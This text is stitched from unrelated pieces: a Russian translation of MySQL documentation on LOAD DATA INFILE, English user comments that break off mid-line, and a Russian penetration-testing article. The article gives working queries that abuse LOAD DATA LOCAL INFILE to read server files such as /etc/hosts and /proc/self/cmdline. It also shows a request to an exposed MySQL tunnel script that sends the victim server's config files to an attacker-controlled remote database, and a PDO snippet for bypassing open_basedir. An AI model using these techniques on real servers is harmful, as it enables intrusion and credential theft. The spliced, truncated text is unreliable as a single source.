  • Если LINES TERMINATED BY является пустой строкой и FIELDS TERMINATED BY является не пустой строкой, то строки также заканчиваются символами FIELDS TERMINATED BY .
  • Если обе величины FIELDS TERMINATED BY и FIELDS ENCLOSED BY являются пустыми (""), то применяется формат с фиксированной строкой (без разделителей). В формате с фиксированной строкой не предусмотрены никакие разделители между полями. Вместо этого при чтении и записи величин столбцов используется ширина ``вывода"" столбцов. Например, если столбец объявлен как INT(7) , значения для этого столбца записываются с использованием полей шириной 7 символов. Входные значения для этого столбца получаются чтением 7 символов. Формат с фиксированной строкой влияет также на обработку величин NULL (см. ниже). Отметим, что формат с фиксированными размерами не будет работать при использовании мультибайтного набора символов.

Значения NULL в зависимости от используемых опций FIELDS и LINES будут обрабатываться по-разному:

  • Для установленных по умолчанию величин FIELDS и LINES NULL записывается как \N для вывода и \N читается как NULL для ввода (исходя из предположения, что символ ESCAPED BY равен `\").
  • Если FIELDS ENCLOSED BY не является пустым, то поле, значение которого представляет собой слово из букв NULL , читается как величина NULL (в отличие от слова NULL , заключенного между символами FIELDS ENCLOSED BY , которое читается как строка " NULL ").
  • Если FIELDS ESCAPED BY является пустым, NULL записывается как слово NULL .
  • В формате с фиксированной строкой (который имеет место, если оба спецификатора - FIELDS TERMINATED BY и FIELDS ENCLOSED BY - являются пустыми), NULL записывается как пустая строка. Отметим, что вследствие этого величина NULL и пустая строка в данной таблице будут неразличимы при записи в файл, поскольку они обе записываются как пустые строки. Если необходимо, чтобы эти величины были различными при обратном чтении файла, то не следует использовать формат с фиксированной строкой.

Некоторые случаи, не поддерживаемые оператором LOAD DATA INFILE:

  • Строки с фиксированным размером (обе опции FIELDS TERMINATED BY и FIELDS ENCLOSED BY пустые) и столбцы типа BLOB или TEXT .
  • Если указывается разделитель, совпадающий с другим или являющийся префиксом другого, то LOAD DATA INFILE не сможет интерпретировать ввод правильно. Например, следующее утверждение FIELDS вызовет проблемы: FIELDS TERMINATED BY """ ENCLOSED BY """
  • Если опция FIELDS ESCAPED BY пустая, то содержащееся в значении поля вхождение символа FIELDS ENCLOSED BY или LINES TERMINATED BY , за которым следует символ FIELDS TERMINATED BY , приведет к преждевременному завершению чтения поля или строки командой LOAD DATA INFILE . Это происходит вследствие того, что LOAD DATA INFILE не может правильно определить, где заканчивается поле или строка.

Следующий пример загружает все столбцы таблицы persondata:

Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata;

Список полей не указывается, следовательно, команда LOAD DATA INFILE ожидает входные строки для заполнения каждого столбца таблицы. При этом используются значения FIELDS и LINES по умолчанию.

Если требуется загрузить только некоторые из столбцов таблицы, необходимо задать список столбцов:

Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata (col1,col2,...);

Список полей необходимо задавать и в случаях, если порядок следования полей во входном файле отличается от порядка столбцов в данной таблице. В противном случае MySQL не сможет установить соответствие вводимых полей и столбцов таблицы.

Если строка имеет слишком мало полей, то столбцы, для которых отсутствуют поля во входном файле, устанавливаются в свои значения по умолчанию. Назначение величин по умолчанию описывается в разделе section 6.5.3 Синтаксис оператора CREATE TABLE .

Значение пустого поля интерпретируется иначе, чем отсутствие значения:

  • Для строковых типов столбец устанавливается в пустую строку.
  • Для числовых типов столбец устанавливается в 0 .
  • Для типов даты и времени столбец устанавливается в соответствующее этому типу значение ``ноль"". See section 6.2.2 Типы данных даты и времени .

Отметим, что это те же самые величины, которые окажутся в столбце в результате явного назначения пустой строки столбцам строкового, числового типов, либо типов даты или времени в команде INSERT или UPDATE .

Столбцы типа TIMESTAMP устанавливаются только в текущую дату или время в случаях, если для столбца назначено значение NULL или (только для первого столбца TIMESTAMP) если столбец TIMESTAMP находится вне списка полей, если такой список задан.

Если входная строка имеет слишком много полей, то лишние поля игнорируются и количество предупреждений увеличится.

Команда LOAD DATA INFILE интерпретирует все входные данные как строки, поэтому нельзя указывать числовые величины для столбцов ENUM или SET так же, как для команд INSERT . Все величины ENUM и SET должны быть заданы как строки!

При использовании C API можно получить информацию о запросе, вызвав функцию API mysql_info() по окончании запроса LOAD DATA INFILE . Ниже показан формат строки информации для этого случая:

Records: 1 Deleted: 0 Skipped: 0 Warnings: 0

Предостережения выдаются при тех же обстоятельствах, что и при записи величин командой INSERT (see section 6.4.3 Синтаксис оператора INSERT), за исключением того, что команда LOAD DATA INFILE дополнительно генерирует предупреждения, когда во входной строке слишком мало или слишком много полей. Предостережения нигде не хранятся; количество предупреждений может использоваться только для того, чтобы проверить, нормально ли выполнились указанные действия. Если необходимо точно знать причины предупреждений, то следует выполнить команду SELECT ... INTO OUTFILE в другой файл и сравнить результат с первоначальным входным файлом - это единственный способ получить такую информацию.

Если необходимо выполнить LOAD DATA для чтения из канала, можно применить следующий трюк:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFILE "x" INTO TABLE x" x

При использовании версии MySQL старше, чем 3.23.25, вышеприведенное можно сделать только с LOAD DATA LOCAL INFILE .

Чтобы получить более подробную информацию об эффективности INSERT в сравнении с LOAD DATA INFILE и увеличении скорости LOAD DATA INFILE , см. раздел section 5.2.9 Скорость выполнения запросов INSERT .

User Comments

Posted by Jason Titus [Delete ] [Edit ]

"The warnings are not stored anywhere; the number of warnings can only be used as an
indication if everything went well"

You have got to be kidding me. Is this done as some sort of DBA punishment? i.e. - We
KNOW what the problems were, but you"ll just have to build a output file and look through
your millions of records to find them". Didn"t MySQL used to put these in the errorlog,
where they belong? Go ahead and make it an option, but this is enough trouble to make
me switch back to Oracle (and that takes alot).

Posted by campbell on Friday May 17 2002, @6:24am [Delete ] [Edit ]

Second that. (!) I don"t understand how you
write that sentance with a straight face.

Posted by Jonathon Padfield on Friday May 17 2002, @6:24am [Delete ] [Edit ]

Also, no information about which rows are skipped
is given.

Posted by on Friday May 17 2002, @6:24am [Delete ] [Edit ]

This feature is very usefull when submitting an
INSERT from a web page. If the user hits
refresh, and reposts form data that results in a
subsequent INSERT of the same primary key data,
boom, the app breaks. This way, the user could
hit F5 till their face turns blue, and they
won"t break the REPLACE statement.

[Delete ] [Edit ]

I have a MyDB folder in c:\mysql\data
I place there Data.txt and when I execute
LOAD DATA LOCAL INFILE "Data.txt" INTO TABLE
MyTable it says: Command has successfully executed
but NO values are adde to MyTable.
I am under W2K

Posted by van hoof philip on Friday May 17 2002, @6:24am [Delete ] [Edit ]

I want to syncronize my database with another
database from time to times. This means that I
will have to use the REPLACE thing. But what about
records that don"t excist anylonger in the newer
database. Will they be deleted in the MySQL one ?
Is there a way to auto-delete these ? Or is the
only solution to drop my MySQL table and recreate
before I start LOAD"ing it. I am using crontab
scripts for this operation so no human interaction
is possible during these operations.

Posted by on Friday May 17 2002, @6:24am [Delete ] [Edit ]

The documentation is unclear about what
constitutes a "unique" key/index in this area. It
backreferences to "insert", but insert doesn"t
have such a constraint. I"ve found that primary
keys are sufficiently unique, but I"ve had to add
primaries where I didn"t want them. Perhaps I"m
missing something....

Posted by on Friday May 17 2002, @6:24am [Delete ] [Edit ]

It is very frustrating to get warnings when one is
importing data into a MySQL database and not be
able to access any information about the warnings.
MySQL really needs to add a feature that will
report what a warning is ABOUT rather than just
report a warning. Ideally the information about
the warning should be provided immediately. At
the very least some sort of error-log should be
created that a user can access.

Posted by on Friday May 17 2002, @6:24am [Delete ] [Edit ]

On the "F5 till their face turns blue" subject...

This should be handled in the application. It
certainly doesn"t hurt to tell the user, "You"ve
already entered this. Please stop refreshing."

Actually, due to the number of hyperimpatient end
lusers out there, this seems like a particularly
good idea.

Posted by Larry Irwin on Tuesday August 20 2002, @11:50am [Delete ] [Edit ]

It would be very helpful to have an addtional option
to "IGNORE CONSTRAINTS" during the loading
process.

Posted by on Thursday September 5 2002, @1:34am [Delete ] [Edit ]

There is a catch with "on an empty MyISAM table, all
non-unique indexes are created in a separate batch"
since the mechanism used is a "repair with
keycache" which can be very slow if you have many
indexes. One really needs to use the mechanism to
stop keys being created and then do the repair with
myisamchk using "repair with sort" as described in
section 5.2.9 (if you can get it to work:-()

Posted by on Wednesday October 9 2002, @12:43pm [

Описываю довольно частую ситуацию. Во время пентеста получен доступ к phpMyAdmin на удаленном хосте, но добраться через него до файлов не получается. Во всем виноват пресловутый флаг FILE_PRIV=no в настройках демона MySQL. Многие в этой ситуации сдаются и считают, что файлы на хосте таким образом уже не прочитать. Но это не всегда так.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Прелюдия

Когда речь идет о взаимодействии CУБД MySQL с файловой системой, то вспоминают, как правило:

  • функцию LOAD_FILE, позволяющую читать файлы на сервере;
  • конструкцию SELECT ... INTO OUTFILE, с помощью которой можно создавать новые файлы.

Соответственно, если получен доступ к phpMyAdmin или любому другому клиенту на удаленной машине, то с большой вероятностью через MySQL можно добраться до файловой системы. Но только при условии, что в настройках демона установлен флаг FILE_PRIV=yes, что бывает далеко не всегда. В этом случае надо вспомнить про другой оператор, куда менее известный, но при этом обладающий довольно мощным функционалом. Я говорю об операторе LOAD DATA INFILE, об особенностях которого и будет рассказано в этой статье.

Взаимодействие PHP и MySQL

PHP - самый распространенный язык для создания веб-приложений, поэтому стоит рассмотреть подробней, каким образом он взаимодействует с базой данных.

В PHP4 клиентские библиотеки MySQL были включены по умолчанию и входили в поставку PHP, поэтому при установке можно было только отказаться от использования MySQL, указав опцию

Without-mysql.

PHP5 поставляется без клиентской библиотеки. На *nix-системах обычно собирают PHP5 с уже установленной на сервере библиотекой libmysqlclient, просто задав опцию

With-mysql=/usr

при сборке. При этом до версии 5.3 для взаимодействия с сервером MySQL используется низкоуровневая библиотека MySQL Client Library (libmysql), интерфейс который не оптимизирован для коммуникации с PHP-приложениями.

Для версии PHP 5.3 и выше был разработан MySQL Native Driver (mysqlnd), причем в недавно появившейся версии PHP 5.4 этот драйвер используется по умолчанию. Хотя встроенный драйвер MySQL написан как расширение PHP, важно понимать, что он не предоставляет программисту PHP нового API. API к базе данных MySQL для программиста предоставляют расширения MySQL, mysqli и PDO_MYSQL. Эти расширения могут использовать возможности встроенного драйвера MySQL для общения с демоном MySQL.

Использование встроенного драйвера MySQL дает некоторые плюсы относительно клиентской библиотеки MySQL: к примеру, не требуется устанавливать MySQL, чтобы собирать PHP или использовать работающие с базой данных скрипты. Более подробную информацию о MySQL Native Driver и его отличиях от libmysql можно найти в документации .

Расширения MySQL, mysqli и PDO_MYSQL могут быть индивидуально сконфигурированы для использования либо libmysql, либо mysqlnd. Например, чтобы настроить расширение MySQL для использования MySQL Client Library, а расширения mysqli для работы с MySQL Native Driver, необходимо указать следующие опции:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

Синтаксис LOAD DATA

Оператор LOAD DATA, как гласит документация, читает строки из файла и загружает их в таблицу на очень высокой скорости. Его можно использовать с ключевым словом LOCAL (доступно в MySQL 3.22.6 и более поздних версиях), которое указывает, откуда будут загружаться данные. Если слово LOCAL отсутствует, то сервер загружает в таблицу указанный файл со своей локальной машины, а не с машины клиента. То есть файл будет читаться не клиентом MySQL, а сервером MySQL. Но для этой операции опять же необходима привилегия FILE (флаг FILE_PRIV=yes). Выполнение оператора в этом случае можно сравнить с использованием функции LOAD_FILE - с той лишь разницей, что данные загружаются в таблицу, а не выводятся. Таким образом использовать LOAD DATA INFILE для чтения файлов имеет смысл только тогда, когда функция LOAD_FILE недоступна, то есть на очень старых версиях MySQL-сервера.

Но если оператор используется в таком виде: LOAD DATA LOCAL INFILE , то есть с использованием слова LOCAL, то файл читается уже клиентской программой (на машине клиента) и отправляется на сервер, где находится база данных. При этом для доступа к файлам привилегия FILE, естественно, не нужна (так как все происходит на машине клиента).

Расширения MySQL/mysqli/PDO_MySQL и оператор LOAD DATA LOCAL

В расширении MySQL возможность использовать LOCAL регулируется PHP_INI_SYSTEM директивой mysql.allow_local_infile. По умолчанию эта директива имеет значение 1, и поэтому нужный нам оператор обычно доступен. Также функция mysql_connect позволяет включать возможность использования LOAD DATA LOCAL, если в пятом аргументе стоит константа 128.

Когда для соединения с базой данных используется расширение PDO_MySQL, то мы также можем включить поддержку LOCAL, используя константу PDO::MYSQL_ATTR_LOCAL_INFILE (integer)

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Но самые большие возможности для работы с оператором LOAD DATA предоставляет расширение mysqli. В этом расширении тоже предусмотрена PHP_INI_SYSTEM директива mysqli.allow_local_infile, регулирующая использование LOCAL.

Если соединение осуществляется посредством mysqli_real_connect, то с помощью mysqli_options мы можем как включить, так и выключить поддержку LOCAL. Более того, в этом расширении доступна функция mysqli_set_local_infile_handler, которая позволяет зарегистрировать callback-функцию для обработки содержимого файлов, читаемых оператором LOAD DATA LOCAL INFILE.

Чтение файлов

Внимательный читатель, наверное, уже догадался, что если у нас есть аккаунт в phpMyAdmin, то мы сможем читать произвольные файлы, не имея привилегию FILE, и даже обходить ограничения open_basedir. Ведь очень часто и клиент (в данном случае phpMyAdmin), и демон MySQL находятся на одной и той же машине. Несмотря на ограничения политики безопасности сервера MySQL, мы можем воспользоваться тем, что для клиента эта политика не действует, и все-таки прочитать файлы из системы, запихнув их в базу данных.

Алгоритм простой. Достаточно выполнить следующие SQL-запросы:

  1. Создаем таблицу, в которую будем записывать содержимое файлов:CREATE TABLE temp(content text);
  2. Отправляем содержимое файла в созданную таблицу:LOAD DATA LOCAL INFILE "/etc/hosts" INTO TABLE temp FIELDS TERMINATED BY "eof" ESCAPED BY "" LINES TERMINATED BY "eof";

Вуаля. Содержимое файла /etc/hosts теперь в таблице temp. Нужно прочитать бинарные файлы? Нет проблем. Если на первом шаге мы создадим такую таблицу:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

то в нее возможно будет загружать и бинарные файлы. Правда, в конец файлов будут добавляться лишние биты, но их можно будет убрать в любом hex-редакторе. Таким образом можно скачать с сервера скрипты, защищенные IonCube/Zend/TrueCrypt/NuSphere, и раскодировать их.

Другой пример, как можно использовать LOAD DATA LOCAL INFILE, - узнать путь до конфига Apache’а. Делается это следующим образом:

  1. Сначала узнаем путь до бинарника, для этого описанным выше способом читаем /proc/self/cmdline.
  2. И далее читаем непосредственно бинарник, где ищем HTTPD_ROOT/SERVER_CONFIG_FILE.


Ясно, что в данной ситуации скрипты phpMyAdmin играют роль клиента для соединения с базой данных. И вместо phpMyAdmin можно использовать любой другой веб-интерфейс для работы с MySQL.

К примеру, можно использовать скрипты для бэкапа и восстановления базы. Еще в 2007 году французский хакер под ником acidroot выложил в паблик эксплойт, основанный на этом замечании и дающий возможность читать файлы из админ-панели phpBB <= 2.0.22.

Туннель удобно. Туннель небезопасно

При установке сложных веб-приложений зачастую требуется прямой доступ в базу, например для начальной настройки и корректировки работы скриптов. Поэтому в некоторых случаях целесообразно установить на сервере простой скрипт - так называемый MySQL Tunnel, позволяющий выполнять запросы к базе данных с помощью удобного клиента вместо тяжеловесного phpMyAdmin.

Туннелей для работы с базой данных довольно много, но все они не очень сильно распространены. Пожалуй, один из самых известных - это Macromedia Dream Weaver Server Scripts. Посмотреть исходники этого скрипта можно .

Основное отличие MySQL Tunnel от phpMyAdmin - это необходимость вводить не только логин и пароль от базы данных, но и хост, с которым нужно соединиться. При этом туннели часто оставляют активными, ну просто на всякий случай, мало ли что еще нужно будет поднастроить. Вроде как воспользоваться ими можно, только если есть аккаунт в базу данных - тогда чего бояться? Короче, создается впечатление, что туннель особой угрозы безопасности веб-серверу не несет. Но на самом деле не все так хорошо, как кажется на первый взгляд.

Рассмотрим следующую ситуацию. Пусть на сервере A есть сайт site.com с установленным туннелем http://site.com/_mmServerScripts/MMHTTPDB.php. Предположим, что на сервере А есть возможность использовать LOAD DATA LOCAL (как обсуждалось выше, это, например, возможно при дефолтных настройках). В этом случае мы можем взять удаленный MySQL-сервер, в базы которого пускают отовсюду и который тоже позволяет использовать LOCAL, и соединиться с этим сервером с помощью туннеля. Данные для коннекта с удаленным MySQL-сервером:

DB Host: xx.xx.xx.xxx DB Name: name_remote_db DB User: our_user DB Pass: our_pass

В данной ситуации сервер A будет играть роль клиента, и поэтому мы можем отправлять файлы с его хоста в удаленную базу или, другими словами, читать файлы. Следующим нехитрым запросом:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php" INTO TABLE tmp_tbl FIELDS TERMINATED BY "__eof__" ESCAPED BY "" LINES TERMINATED BY "__eof__"

На самом деле эта уязвимость более опасна, чем обычное чтение файлов: ведь она позволяет прочитать конфигурационные файлы скриптов, установленных на сервере A. Через этот же туннель можно получить уже прямой доступ к базе, которые управляют этими скриптами. Описанную выше технику по использованию мускульных туннелей можно немного обобщить и применить при эксплуатации unserialize-уязвимостей.


Клиент-сервер

Для того чтобы лучше понять возможности LOAD DATA, необходимо вспомнить, что CУБД MySQL использует традиционную архитектуру клиент-сервер. Работая с MySQL, мы реально работаем с двумя программами:

  • программа сервера базы данных, расположенная на компьютере, где хранится база данных. Демон mysqld «прослушивает» запросы клиентов, поступающие по сети, и осуществляет доступ к содержимому базы данных, предоставляя информацию, которую запрашивают клиенты. Если mysqld запущен с опцией --local-infile=0, то LOCAL работать не будет;
  • клиентская программа осуществляет подключение к серверу и передает запросы на сервер. Дистрибутив CУБД MySQL включает в себя несколько клиентских программ: консольный клиент MySQL (наиболее часто используемая), а также mysqldump, mysqladmin, mysqlshow, mysqlimport и так далее. А при необходимости даже можно создать свою клиентскую программу на основе стандартной клиентской библиотеки libmysql, которая поставляется вместе с CУБД MySQL.

Если при использовании стандартного клиента MySQL не удается задействовать оператор LOAD DATA LOCAL, то стоит воспользоваться ключом --local-infile:

Mysql --local-infile sampdb mysql> LOAD DATA LOCAL INFILE "member.txt" INTO TABLE member;

Либо указать в файле /my.cnf опцию для клиента:

Local-infile=1

Важно отметить, что по умолчанию все MySQL-клиенты и библиотеки компилируются с опцией --enable-local-infile для обеспечения совместимости с MySQL 3.23.48 и более старыми версиями, поэтому LOAD DATA LOCAL обычно доступно для стандартных клиентов. Однако команды к MySQL-серверу отсылаются в основном не из консоли, а из скриптов, поэтому в языках для веб-разработки также имеются клиенты для работы с базой данных, которые могут отличаться по функционалу от стандартного клиента MySQL.

Конечно, эта особенность оператора LOAD DATA может быть угрозой безопасности системы, и поэтому начиная с версии MySQL 3.23.49 и MySQL 4.0.2 (4.0.13 для Win) опция LOCAL будет работать только если оба - клиент и сервер - разрешают ее.

Обход ограничений open_basedir

Использование LOAD DATA довольно часто позволяет обходить ограничения open_basedir. Это может оказаться полезным, если, например, мы имеем доступ в директорию одного пользователя на shared-хостинге, но хотим прочитать скрипты из домашнего каталога другого пользователя. Тогда, установив такой скрипт

1)); $e=$pdo->exec("LOAD DATA LOCAL INFILE "./path/to/file" INTO TABLE test FIELDS TERMINATED BY "__eof__" ESCAPED BY "" LINES TERMINATED BY "__eof__""); $pdo = null; ?>

Заключение

Любопытно, что описанная возможность оператора LOAD DATA известна не меньше десяти лет. Упоминание о ней можно, например, найти в тикете [#15408] (Safe Mode / MySQL Vuln 2002-02-06), и потом похожие вопросы неоднократно всплывали на bugs.php.net [#21356] [#23779] [#28632] [#31261] [#31711]. На что разработчики отвечали дословно следующее:

[email protected] It’s not a bug, it’s a feature:)

Или присваивали тикету "Status:Wont fix". Или ограничивались патчами, которые почти ничего не решали. Тикеты на эту тему возникали вновь. Поэтому указанный способ обхода open_basedir и до сих пор работает на довольно большом количестве серверов. Впрочем, с появлением нового драйвера mysqlnd, похоже, было принято решение внести существенные изменения: при дефолтных установках этот оператор теперь вообще не будет выполняться [#54158] [#55737]. Будем надеяться, что в ближайшем будущем разработчики наведут порядок в этом вопросе.